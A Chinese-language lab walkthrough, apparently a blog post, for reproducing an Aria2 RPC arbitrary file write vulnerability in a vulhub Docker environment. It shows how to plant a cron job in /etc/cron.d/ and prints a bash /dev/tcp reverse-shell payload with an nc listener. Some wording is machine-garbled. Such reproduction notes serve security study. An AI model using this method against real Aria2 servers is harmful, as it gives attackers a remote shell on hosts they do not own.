Aria2任意文件写入漏洞
Aria2
Aria2是一个轻量级,多协议,多源下载工具(支持HTTP / HTTPS,FTP,BitTorrent,Metalink),内置XML-RPC和JSON-RPC接口。
环境搭建
https://blog.csdn.net/qq_36374896/article/details/84102101
启动漏洞环境:
cd vulhub-master/aria2/rce/
sudo docker-compose up
6800是aria2的RPC服务的默认端口,环境启动后,访问 http://your-ip:6800/,发现服务已启动并且返回404页面。
漏洞复现
因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如http://binux.github.io/yaaw/demo/。
打开yaaw,点击配置按钮,填入运行aria2的目标域名
http://your-ip:6800/jsonrpc
然后点击添加,增加一个新的下载任务。
在Dir的位置填写下载至的目录,文件名处理写文件名。
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.91.128/4444 0>&1
比如,我们通过写入一个crond任务来反弹shell:
这时候,arai2会将恶意文件(我指定的URL)下载到/etc/cron.d/目录下,文件名为壳。而在的Debian中,在/ etc / cron.d目录下的所有文件将被作为计划任务配置文件(类似的crontab)读取,等待一分钟不到即成功反弹壳:
nc -nvv -lp 4444
如果反弹不成功,注意的crontab文件的格式,以及换行符必须是\n,且文件结尾需要有一个换行符。